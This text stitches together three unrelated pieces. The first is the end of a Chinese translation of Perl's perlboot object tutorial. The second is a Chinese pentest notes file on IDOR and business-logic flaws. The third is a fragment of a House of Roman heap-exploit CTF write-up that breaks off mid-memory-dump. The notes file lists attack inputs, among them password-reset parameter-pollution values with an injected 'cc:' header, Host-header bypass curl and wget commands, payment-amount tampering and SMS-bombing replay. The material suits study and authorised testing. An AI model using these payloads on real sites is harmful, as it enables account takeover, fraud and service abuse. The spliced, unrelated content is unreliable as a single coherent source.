$class->default_color }; \& bless $self, $class; \& } .Ve .PP 默认颜色 \f(CW\*(C`default_color\*(C'\fR 是什麽? 嗯, 如果 \f(CW\*(C`named\*(C'\fR 只有一个参数name, 我们还是希望有个颜色, 所以我们设定一个类初始化颜色. 对绵羊来说, 白色比较好: .PP .Vb 2 \& ## in Sheep \& sub default_color { "white" } .Ve .PP 为了避免为每个类定义颜色, 我们可以在 \f(CW\*(C`Animal\*(C'\fR 中定义一个 \*(L"缺省的缺省,backstop\*(R" 的颜色: .PP .Vb 2 \& ## in Animal \& sub default_color { "brown" } .Ve .PP 现在, 因为只有 \f(CW\*(C`name\*(C'\fR 和 \f(CW\*(C`named\*(C'\fR 与对象的 \*(L"结构,structure\*(R" 相关, 其余的部分可以保持不变, 所以 \f(CW\*(C`speak\*(C'\fR 工作正常. .Sh "A horse of a different color 一匹不同颜色的马" .IX Subsection "A horse of a different color" 但是如果所有的马都是棕色的,也挺烦人的. 所以我们可以写个方法来改变马的颜色. .PP .Vb 7 \& ## in Animal \& sub color { \& $_[0]->{Color} \& } \& sub set_color { \& $_[0]->{Color} = $_[1]; \& } .Ve .PP 注意到存取参数的不同方法了吗: \f(CW$_[0]\fR 直接使用, 而没有用 \f(CW\*(C`shift\*(C'\fR. (这在我们频繁存取时可以节省一些时间.) 现在我们可以把Mr. Ed的颜色变过来: .PP .Vb 3 \& my $talking = Horse->named("Mr. Ed"); \& $talking->set_color("black-and-white"); \& print $talking->name, " is colored ", $talking->color, "\en"; .Ve .PP 结果是: .PP .Vb 1 \& Mr. Ed is colored black-and-white .Ve .Sh "Summary 总结" .IX Subsection "Summary" 现在我们讲了类方法,构造器,实例方法,实例数据,甚至还有存取器(accessor). 但是这些还仅仅是开始. 我们还没有讲到以两个函数 getters,setters 形式出现的存取器,析构器(destructor),间接对象(indirect object notation),子类(subclasses that add instance data),per-class data,重载(overloading),\*(L"isa\*(R" 和 \*(L"can\*(R" 测试,公共类(\f(CW\*(C`UNIVERSAL\*(C'\fR class),等等. 这有待其它文档去讲解了. 无论如何,希望本文使你对对象有所了解. .SH "SEE ALSO 参见" .IX Header "SEE ALSO" 更多信息可参见 perlobj (这里有更多的Perl对象的细节,而本文的是基础), perltoot (面向对象的中级教程), perlbot (更多的技巧), 以及书籍,比如Damian Conway的不错的书叫做《面向对象的Perl (\fIObject Oriented Perl\fR)》。 .PP 某些模块可能对你有用,它们是 Class::Accessor, Class::Class, Class::Contract, Class::Data::Inheritable, Class::MethodMaker 还有 Tie::SecureHash .SH "COPYRIGHT" .IX Header "COPYRIGHT" Copyright (c) 1999, 2000 by Randal L. Schwartz and Stonehenge Consulting Services, Inc. Permission is hereby granted to distribute this document intact with the Perl distribution, and in accordance with the licenses of the Perl distribution; derived documents must include this copyright notice intact. .PP Portions of this text have been derived from Perl Training materials originally appearing in the \fIPackages, References, Objects, and Modules\fR course taught by instructors for Stonehenge Consulting Services, Inc. and used with permission. .PP Portions of this text have been derived from materials originally appearing in \fILinux Magazine\fR and used with permission. .SH "中文版维护人" .B redcandle <redcandle51@chinaren.com> .SH "中文版最新更新" .B 2001年12月9日星期日 .SH "中文手册页翻译计划" .B http://cmpp.linuxforum.net
sec-knowleage
# IDOR `整个部分结构大部分基于乌云的几篇密码找回、逻辑漏洞类文章,在其基础上记录和归纳` --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * [认证绕过](#认证绕过) * [未授权访问](#未授权访问) * [身份认证绕过](#身份认证绕过) * [密码重置](#密码重置) * [验证码突破](#验证码突破) * [Ticket_Trick](#ticket_trick) * [授权绕过](#授权绕过) * [越权测试](#越权测试) * [执行顺序绕过](#执行顺序绕过) * [race_condition](#race_condition) * [限制绕过](#限制绕过) * [IP限制绕过](#ip限制绕过) * [时间刷新缺陷](#时间刷新缺陷) * [JS绕过](#js绕过) * [接口利用](#接口利用) * [BOLA](#bola) * [数据篡改](#数据篡改) * [重放攻击](#重放攻击) * [DoS](#dos) --- **文章 & Reference** - [密码找回逻辑漏洞总结](http://www.vuln.cn/6851) - [密码找回功能可能存在的问题](http://www.vuln.cn/6849) - [密码找回功能可能存在的问题(补充)](http://www.vuln.cn/6850) - [业务安全漏洞挖掘归纳总结](http://www.vuln.cn/6667) - [应用程序逻辑错误总结](http://www.vuln.cn/6874) - [在线支付逻辑漏洞总结](http://www.vuln.cn/6807) - [web渗透测试之攻破登录页面](https://zhuanlan.zhihu.com/p/35257242) - [我的越权之道](http://www.vuln.cn/6893) - [谈高效漏洞挖掘之Fuzzing的艺术](https://www.freebuf.com/vuls/221129.html) - [密码找回中的套路](https://xz.aliyun.com/t/7977) - [登录点测试的那些事](https://xz.aliyun.com/t/8185) - [基于业务场景的漏洞挖掘](https://mp.weixin.qq.com/s/a6QvgLFCO4rCS3FRYZ3lug) - [针对医疗系统的快速漏洞挖掘思路](https://mp.weixin.qq.com/s/Y_JF-LyvEEW_In_HdtHbFg) - [通过响应时间爆破用户名](https://mp.weixin.qq.com/s/k5cNM73_UA1kvBPzVaXoug) **案例** - [挖洞经验 | 连接多个漏洞获取管理员访问权限](https://www.freebuf.com/articles/web/177461.html) - [挖洞经验 | 看我如何发现谷歌电子表格、谷歌云盘和谷歌相册的3个漏洞($4133.7)](https://www.freebuf.com/vuls/192342.html) - [挖掘某小型CMS厂商逻辑漏洞的过程](https://bbs.ichunqiu.com/thread-31184-1-20.html) - [对某大学管理信息系统的一次渗透测试](https://xz.aliyun.com/t/7686) **相关工具** - [ztosec/secscan-authcheck](https://github.com/ztosec/secscan-authcheck) - 越权检测工具 --- 实战渗透测试中,web 的攻防一直是重中之重,而无论是对于富有经验的老手黑客和新手脚本小子来说,相比 SQL 注入、XSS 漏洞等传统安全漏洞,逻辑漏洞都是最具价值的。这类漏洞往往危害巨大,可能造成企业的资产损失和名誉受损,并且传统的 WAF 设备和防护措施收效甚微。 --- ## 认证绕过 **相关文章** - [任意用户密码重置的10种常见姿势](https://www.jianshu.com/p/63c005f9ce83) - [这45个账号安全风险,你check了吗?](https://mp.weixin.qq.com/s/RzDHjRbw6DnQxig_QFxV7Q) ### 未授权访问 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息.可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功. - 案例: - [某发电机云控平台未授权访问](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0226920) - [$10k host header](https://www.ezequiel.tech/p/10k-host-header.html) --- ### 身份认证绕过 **相关文章** - [一个FW-TOKEN鉴权绕过漏洞](https://blog.m1kh.com/index.php/archives/730/) - [渗透测试之一波三折](https://juejin.cn/post/7018847261807345700) **Cookie & Session** - 会话固定攻击 利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人. - 案例: - [新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-025427) - Cookie仿冒 修改cookie中的某个参数可以登录或冒充其他用户. - 案例: - [益云广告平台任意帐号登录](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-051424) - [Hacking the Medium partner program](https://medium.com/bugbountywriteup/hacking-the-medium-partner-program-84c0e9fa340) **加密测试** - 前端加密,用密文去后台校验 1. 可以使用 burpsuite 的 payload processing 功能,把字典按照加密方式先加密再发包 2. 用字典生成工具生成加密好的字典,pydictor 内置 encode 功能可以支持 **调式代码** ``` 00000 null %00 ``` **修改返回值** - 思路 ``` HTTP/1.1 404 Not Found ... {"code": false} HTTP/1.1 404 Not Found ... {"code": true} ``` **修改状态码** - 思路 ``` HTTP/1.1 404 Not Found ... {"code": false} HTTP/1.1 200 OK ... {"code": false} ``` --- ### 密码重置 **相关文章** - [换一种姿势挖掘任意用户密码重置漏洞](https://mp.weixin.qq.com/s/asnyHi_CfkRVBtB1Cd1i7Q) - [密码重置的那些事](https://xz.aliyun.com/t/8136) **参数污染** - 思路 ``` POST /reset email=test@mail.com # 参数污染 email=test@mail.com&email=f8x@mail.com email=test@mail.com,email=f8x@mail.com email=test@mail.com%20email=f8x@mail.com email=test@mail.com|email=f8x@mail.com email=test@mail.com%00email=f8x@mail.com # 参数值中没有域 email=test # 参数值中没有 TLD email=test@mail # 使用抄送 email=test@mail.com%0a%0dcc:f8x@mail.com # json 污染 {"email":test@mail.com","f8x@mail.com",“token":"xxxxxxxxxx"} ``` **用户凭证暴力破解** 像是四位或者六位纯数字的验证码,对验证码进行暴破,未作限制的情况下,很快就会得到结果了 - 思路 ``` POST /reset email=test@mail.com&code=123456 POST /reset email=test@mail.com&code=$123456$ ``` - 案例: - [当当网任意用户密码修改漏洞](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-011833) - [当当网任意用户密码修改漏洞2](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-046062) - [当当网任意用户密码修改漏洞第三次](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-046999) - [微信任意用户密码修改漏洞分析](http://www.91ri.org/3969.html) **返回凭证** - url 返回验证码及 token 不多说,直接输入验证码即可修改密码 - 案例: - [走秀网秀团任意密码修改缺陷](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-05630) - 密码找回凭证 - 案例: - [sohu邮箱任意用户密码重置](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-04728) - 返回短信验证码 - 案例: - [新浪某站任意用户密码修改(验证码与取回逻辑设计不当)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-085124) **邮箱弱token** - 时间戳的 MD5 - 案例: - [奇虎360任意用户密码修改漏洞](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-08333) - 服务器时间 - 案例: - [中兴某网站任意用户密码重置漏洞(经典设计缺陷案例)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-090226) **用户凭证有效性** - 邮箱 token - 案例: - [身份通任意密码修改-泄漏大量公民信息](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-012572) - 重置密码 token - 案例: - [魅族的账号系统内存在漏洞可导致任意账户的密码重置](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-078208) **重新绑定** - 手机绑定 - 案例: - [网易邮箱可直接修改其他用户密码](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-08307) - 邮箱绑定 - 案例: - [某彩票设计缺陷可修改任意用户密码](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-092319) **服务器验证** - 最终提交步骤 - 案例: - [携程旅行网任意老板密码修改](https://www.uedbox.com/post/41583/) - 服务器验证可控内容 - 案例: - [AA拼车网之任意密码找回2](https://shuimugan.com/bug/view?bug_no=80278) - 服务器验证验证逻辑为空 - 案例: - [某政企使用邮件系统疑似存在通用设计问题](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-088927) **用户身份验证** - 账号与手机号码的绑定 - 案例: - [上海电信通行证任意密码重置](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-075941) - 账号与邮箱账号的绑定 - 案例: - [和讯网修改任意用户密码漏洞](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-091216) **找回步骤** - 跳过验证步骤、找回方式,直接到设置新密码页面 - 案例: - [中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-098765) **本地验证** - 在本地验证服务器的返回信息,确定是否执行重置密码,但是其返回信息是可控的内容,或者可以得到的内容. - 案例: - [oppo重置任意用户密码漏洞(4)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-069987) - 发送短信等验证信息的动作在本地进行,可以通过修改返回包进行控制. - 案例: - [OPPO修改任意帐号密码-2](https://shuimugan.com/bug/view?bug_no=20425) **注入** - 在找回密码处存在注入漏洞. - 案例: - [用友人力资源管理软件(e-HR)另一处SQL注入漏洞(通杀所有版本)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-068060) **Token生成** - Token 生成可控. - 案例: - [天天网再一次重置任意账号密码(依旧非暴力)](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-095729) **注册覆盖** - 注册重复的用户名. - 案例: - [中铁快运奇葩方式重置任意用户密码(admin用户演示)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-088708) **Session覆盖** - Session 覆盖 - 案例: - [聚美优品任意修改用户密码(非爆破)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-085843) --- ### 验证码突破 **相关文章** - [挖洞技巧:绕过短信&邮箱轰炸限制以及后续](https://www.secpulse.com/archives/67077.html) - [验证码安全那些事](https://cloud.tencent.com/developer/article/1043500) - [实战笔记:滑动验证码攻防对抗](https://www.freebuf.com/articles/web/238038.html) **验证码暴力破解** - 使用 burp 对特定的验证码进行暴力破解 - 案例: - [盟友88电商平台任意用户注册与任意用户密码重置漏洞打包](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-093932) **验证码不刷新** 在一段时间内只要不刷新页面,无论登录失败多少次都不刷新验证码,这个时候就可以使用同一个验证码根据上面的方式进行暴力破解 **验证码失效** 不管在验证码表单输入什么样的数据,都会判断通过,但这种情况很少见 **验证码绕过测试** 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过.对于 request 数据: `user=admin&pass=1234&vcode=brln`,有两种绕过方法: 1. 一是验证码空值绕过,改成 user=admin&pass=1234&vcode=; 2. 一是直接删除验证码参数,改成 user=admin&pass=1234. - 案例: - [中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-098765) **验证码 js 绕过** 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过 js 来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功. - 案例: - [某省公安厅某举报管理系统可JS绕过登陆](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2012-07826) **万能验证码** 渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如 0000、9999,只要输入万能验证码,就可以无视验证码进行暴力破解. --- ### Ticket_Trick **相关案例** - [How I hacked hundreds of companies through their helpdesk](https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c) - [How I hacked Google’s bug tracking system itself for $15,600 in bounties](https://medium.com/@alex.birsan/messing-with-the-google-buganizer-system-for-15-600-in-bounties-58f86cc9f9a5) --- ## 授权绕过 ### 越权测试 越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定. **Tips** - HTTP Header based bypass: - X-Original-URL: /redact - Referer: https://site.com/api/redact **相关文章** - [逻辑让我崩溃之越权姿势分享(续集) ](https://xz.aliyun.com/t/4003) **垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)** - 案例: - [中国电信天翼宽带政企网关A8-B垂直越权,可获取最高权限](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0100876) - [如何在Microsoft Translator中越权删除1.3万个项目](https://www.4hou.com/posts/MJq1) - [看我如何通过帮助服务台轻松黑掉数百家公司](https://www.4hou.com/posts/PMyw) **水平越权(水平越权是指相同权限的不同用户可以互相访问)** - 案例: - [Vulnerability in Youtube allowed moving comments from any video to another](https://secgeek.net/youtube-vulnerability/) - 越权复制评论 - 手机号篡改 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务. - 邮箱和用户名更改 抓包修改用户或者邮箱参数为其他用户或者邮箱 - 案例: - [绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-074441) - 订单 ID 更改 查看自己的订单 id,然后修改 id(加减一)查看是否能操作其它订单信息. - 案例: - [广之旅旅行社任意访问用户订单](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156200) - [麦乐购可大批量删除他人购物订单(水平越权一)](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0108008) - 用户 ID 篡改 抓包查看自己的用户 id,然后修改 id(加减 1)查看是否能查看其它用户 id 信息. - 案例: - [拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0111617) --- ### 执行顺序绕过 1. 部分网站逻辑可能是先 A 过程后 B 过程然后 C 过程最后 D 过程. 2. 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问.于是,用户就从 B 直接进入了 D 过程,就绕过了 C.如果 C 是支付过程,那么用户就绕过了支付过程而买到了一件商品.如果C是验证过程,就会绕过验证直接进入网站程序了. - 案例: - [中国教师资格网绕过验证(可遍历全国教师身份信息) ](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-050488) - [万达某分站逻辑错误可绕过支付直接获得取票密码](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-047677) --- ### race_condition **相关文章** - [Race Condition in Web Applications](https://lab.wallarm.com/race-condition-in-web-applications/) - [并发请求导致的业务处理安全风险及解决方案](http://drops.xmd5.com/static/drops/papers-831.html) --- ## 限制绕过 ### IP限制绕过 如果登录系统设置了 IP 地址白名单,我们可以通过修改 http 头字段伪造 IP 地址 - [Fuzz_head](https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/http/Fuzz_head.txt) 或者直接修改 host 头 ``` curl -v -H "Host: localhost" https://target/ wget -d --header="Host: localhost" https://target/ ``` --- ### 时间限制绕过 **时间刷新缺陷** - 案例: - [12306自动刷票时间可更改漏洞](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2014-048391) **时间范围测试** 针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程.例如通过更改查询手机网厅的受理记录的 month 范围,可以突破默认只能查询六个月的记录. --- ### JS绕过 **相关案例** - [某搞笑管理系统逻辑漏洞的挖掘](https://www.t00ls.net/thread-55395-1-2.html) **最大数限制突破** 很多商品限制用户购买数量时,服务器仅在页面通过 js 脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程. **本地 js 参数修改** 部分应用程序通过 Javascript 处理用户提交的请求,通过修改 Javascript 脚本,测试修改后的数据是否影响到用户. --- ## 接口利用 **相关文章** - [安全建设-攻防思路与实践(一)](https://mp.weixin.qq.com/s/mnHGLZ_e3tWkxCL-DPAAvQ) **相关案例** - [$36k Google App Engine RCE](https://www.ezequiel.tech/p/36k-google-app-engine-rce.html) **学习资源** - [inonshk/31-days-of-API-Security-Tips](https://github.com/inonshk/31-days-of-API-Security-Tips) - [31 Days of API Security](https://docs.google.com/spreadsheets/d/1jn3JnWzQFZW41gKo5Fhxwf2ke2w-pvrpCGhBmKhyIBE/edit#gid=0) ### BOLA > Broken Object Level Authorization 这个是 OWASP API Security Project 中的一种漏洞,和 IDOR 很像,我的理解就是 API 渗透中的越权 - https://owasp.org/www-project-api-security/ **相关文章** - [A Deep Dive On The Most Critical API Vulnerability — BOLA (Broken Object Level Authorization) ](https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2) **相关案例** - [How I could have hacked your Uber account](https://appsecure.security/blog/how-i-could-have-hacked-your-uber-account) - [Content Injection Vulnerability in WordPress](https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html) - [How spending our Saturday hacking earned us 20k](https://web.archive.org/web/20190614232925/https://medium.com/intigriti/how-spending-our-saturday-hacking-earned-us-20k-60990c4678d4) **Tips** 部分内容来自 <sup>[[A Deep Dive On The Most Critical API Vulnerability — BOLA (Broken Object Level Authorization](https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2)]、[[31 Days of API Security](https://docs.google.com/spreadsheets/d/1jn3JnWzQFZW41gKo5Fhxwf2ke2w-pvrpCGhBmKhyIBE/edit#gid=0)]</sup> - FUZZ 接口路径、接口名 - https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic/Web/api_param - 大小写替换 - `userinfo/view` - `userINFO/VIew` - 测试不同版本的 API 接口 - `/v1/userinfo/view` - `/v2/userinfo/view` - 添加后缀 - `userinfo/view.json` - `userinfo/view.action` - 内容注入 - `userinfo/view?id=123` - `userinfo/view?id=*` - `userinfo/view?id=ABC` - `userinfo/view?id=123ABC` - `userinfo/view?id=123ABC!@#` - `userinfo/view?id=1+2+3` - `userinfo/view?id=1%203` - 添加参数 - `userinfo/view` - `userinfo/view?id=xxx` - 数组 - `{"id":xxx}` - `{"id":[xxx]}` - JSON 对象 - `{"id":xxx}` - `{"id":{"id":xxx}}` - `{"id":{"id":[xxx]}}` - 去 JSON - `{"id":xxx}` - `id=xxx` - 更改请求内容类型 - `Content-type: application/xml` - `Content-type: application/json` - 通配符 - `{""id"":""*""}` - 尝试执行 JSON 参数污染 ```bash POST api / get_profile {"user_id":<legit_id>,"user_id":<victim's_id>} {"id":2,"id":1} ``` 或 ```bash POST api / get_profile {"user_id":<victim's_id>,"user_id":<legit_id>} ``` - 尝试执行 HTTP 参数污染: - `userinfo/view?id=xxx` - `userinfo/view?id=xxx&id=yyy` - `userinfo/view?id=xxx&id=yyy,zzz` - 查找未启用授权机制的 API 主机、或 API 节点 - 测试不同平台的 API 点、如 APP、微信公众号 - 尝试使用 GET/POST/OPTIONS/PUT/TRACE 等方法 - DOS - `limit=999999999` - 测试该 API 是否支持 SOAP,将内容类型更改为 `application/xml` ,在请求正文中添加简单的 XML,然后查看 API 如何处理它。 --- ### 数据篡改 **商品编号更改** 例如积分兑换处,100 个积分只能换商品编号为 001,1000 个积分只能换商品编号 005,在 100 积分换商品的时候抓包把换商品的编号修改为 005,用低积分换区高积分商品. - 案例: - [联想某积分商城支付漏洞再绕过](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-041617) **金额数据篡改** 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程. - 案例: - [12308订单支付时的总价未验证漏洞(支付逻辑漏洞)](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0117083) - [UCloud 另一处严重支付逻辑错误 导致可刷余额](https://wy.2k8.org/bug_detail.php?wybug_id=wooyun-2014-048591l) - [destoon无限制增加帐号资金](https://woo.zone.ci/bug_detail.php?wybug_id=wooyun-2014-050481) - [大疆某处支付逻辑漏洞可1元买无人机](https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2016-0194751) - [挖掘网站支付漏洞中突然想到的一个骚思路](https://www.t00ls.net/thread-53256-1-2.html) - http://www.0dayhack.net/index.php/634/ - [当我尝试半价预定特斯拉汽车](https://mp.weixin.qq.com/s/iolYdCb9GX44HJD4inkuQA) - Tips: - 数量改为小数、负数、0 - 同时购买多个物品,部分商品数量改为负数 **商品数量篡改** 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程. - 案例: - [百脑汇商城支付漏洞](http://woo.zone.ci/bug_detail.php?wybug_id=wooyun-2012-07997) --- ### 重放攻击 在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试.如果业务经过调用(重放)后被多次生成有效的业务或数据结果. **相关文章** - [刷点赞、刷关注、刷收藏漏洞](https://blog.m1kh.com/index.php/archives/539/) - [邮箱炸弹及绕过](https://blog.m1kh.com/index.php/archives/324/) - [SRC另类思路分享:不受限制的资源调用](https://mp.weixin.qq.com/s/wwkAaRauMfIKVERd0-ZCfQ) **恶意注册** 目标业务注册流程不规范,使用抓包工具抓包可捕获创建用户的请求包,修改发包可以直接注册用户 **短信炸弹** 在测试的过程中,我们发现众多的金融交易平台仅在前端通过 JS 校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信. - 案例: - [一亩田交易网逻辑漏洞(木桶原理)](http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-094545) - [短信轰炸之空格或 \n 绕过](https://cloud.tencent.com/developer/article/1541148) - [一次有趣的短信轰炸限制绕过](https://web.archive.org/web/20210811054855/https://blog.m1kh.com/index.php/archives/229/) **内容编辑** 点击"获取短信验证码",并抓取数据包内容,通过分析数据包,可以发现参数的内容有客户端控制,可以修改为攻击者想要发送的内容 - 案例: - [Lack of URL normalization renders Blocked-Previews feature ineffectual](https://hackerone.com/reports/1102764) --- ### DoS **相关文章** - [Web层面上的那些拒绝服务攻击(DoS)](https://www.sec-in.com/article/445) **资源生成大小可控** 当遇到请求验证码或二维码请求参数可控时,可以尝试修改图片尺寸参数,例如将原本长宽 20x20 尺寸的请求,改为 2000x2000 查看返回的图片尺寸是否修改. - 相关文章 - [验证码大小可控导致的拒绝服务攻击漏洞](https://zhuanlan.zhihu.com/p/41800341) **Zip 炸弹** 当遇到相应业务允许上传模板文件时,可以尝试上传 zip,当存在自动解压条件时,可通过非递归 zip 炸弹文件耗尽服务器资源. - 相关文章 - [ZBLG:非递归zip炸弹,比例为28000000:1](https://bbs.pediy.com/thread-252487.htm) **Xml DoS** 在 XXE 漏洞中常见的一种攻击方式,当服务端解析 xml文档,通过迭代解析和远程解析巨大文件,造成服务器资源的占用. - Denial-of-Service - External Entity - Internal Entity **reDOS** `Regular expression Denial of Service` 实际上开发人员使用了正则表达式来对用户输入的数据进行有效性校验, 当编写校验的正则表达式存在缺陷或者不严谨时, 攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。常见的点如注册时检查密码是否包含用户名。 - 正则知识点 - [regex](../../../Develop/正则/regex.md) - 相关文章 - [Regular expression Denial of Service - ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) - [ReDOS初探](http://www.lmxspace.com/2019/02/16/ReDOS%E5%88%9D%E6%8E%A2/) - [深度分析PCRE回溯次数限制](http://www.lmxspace.com/2019/02/16/ReDOS%E5%88%9D%E6%8E%A2/) - [ReDoS-Attacks](https://www.checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf) **API参数可控** 当查询请求或插入请求参数可控时,一般我们会认为存在数据泄露、批量XXX漏洞,但这里也存在占用服务器资源的利用点,当无法实际越权时,可以尝试加大参数,或缩短时间间隔,耗尽服务器资源。 **Infinite loop** 通过控制参数,让服务器无限循环某个请求处理,从而消耗服务器资源. - 相关案例 - [sony infinite loop vulnerability leads to DOS](https://dxploiter.blogspot.com/2017/07/sony-infinite-loop-vulnerability-leads.html) - [A Infinite Loop Story.. Note: i have already covered this…](https://medium.com/@D0rkerDevil/a-infinite-loop-story-f2bc05771a88)
sec-knowleage
### House of Roman原理以及展示 作者提供给了我们一个 demo 用于展示,整个利用过程大概可以分为三步骤。 1. 将 FD 指向 malloc_hook 2. 修正 0x71 的 Freelist 3. 往 malloc_hook 写入 one gadget 先对 demo 进行一个大致的分析: 开启的保护情况: ```bash [*] '/media/psf/Home/Desktop/MyCTF/House-Of-Roman/new_chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` 样题中有三个主要功能,Malloc ,Write,以及 Free。 ```c switch ( v4 ) { case 1: puts("Malloc"); v5 = malloc_chunk("Malloc"); if ( !v5 ) puts("Error"); break; case 2: puts("Write"); write_chunk("Write"); break; case 3: puts("Free"); free_chunk(); break; default: puts("Invalid choice"); break; ``` 在 Free 功能中存在 指针未置零而造成的悬挂指针。 ```c void free_chunk() { unsigned int v0; // [rsp+Ch] [rbp-4h]@1 printf("\nEnter index :"); __isoc99_scanf("%d", &v0); if ( v0 <= 0x13 ) free(heap_ptrs[(unsigned __int64)v0]); } ``` #### 第一步 首先伪造一个 chunk ,chunk的大小为0x61。紧接着我们利用 partial overwrite 将 FD 指向伪造的chunk(当然,这里我们也可以用 UAF 完成)。 伪造 chunk size ```bash pwndbg> 0x555555757050: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757060: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757070: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757080: 0x41414141 0x41414141 0x41414141 0x41414141 0x555555757090: 0x41414141 0x41414141 0x61 0x0 <---------- ``` 这里,我们 free 掉 chunk 1,这个时候我们能获得一个 unsortbin ``` 0x555555757020 PREV_INUSE { prev_size = 0x0, size = 0xd1, fd = 0x7ffff7dd1b58 <main_arena+88>, bk = 0x7ffff7dd1b58 <main_arena+88>, fd_nextsize = 0x4141414141414141, bk_nextsize = 0x4141414141414141 } ``` 接着,我们重分配 0xd1 这块 chunk,以及修改其 size 为0x71 ``` pwndbg> x/40ag 0x555555757020 0x555555757020: 0x4141414141414141 0x71 0x555555757030: 0x7ffff7dd1b58 <main_arena+88> 0x7ffff7dd1b58 <main_arena+88> 0x555555757040: 0x4141414141414141 0x4141414141414141 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x4141414141414141 0x4141414141414141 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x4141414141414141 0x4141414141414141 0x555555757090: 0x4141414141414141 0x61 ``` 我们紧接着需要修正这0x71 FD freelist ,将其伪造成已经释放的块 ``` pwndbg> x/40ag 0x555555757000 0x555555757000: 0x0 0x21 0x555555757010: 0x4141414141414141 0x4141414141414141 0x555555757020: 0x4141414141414141 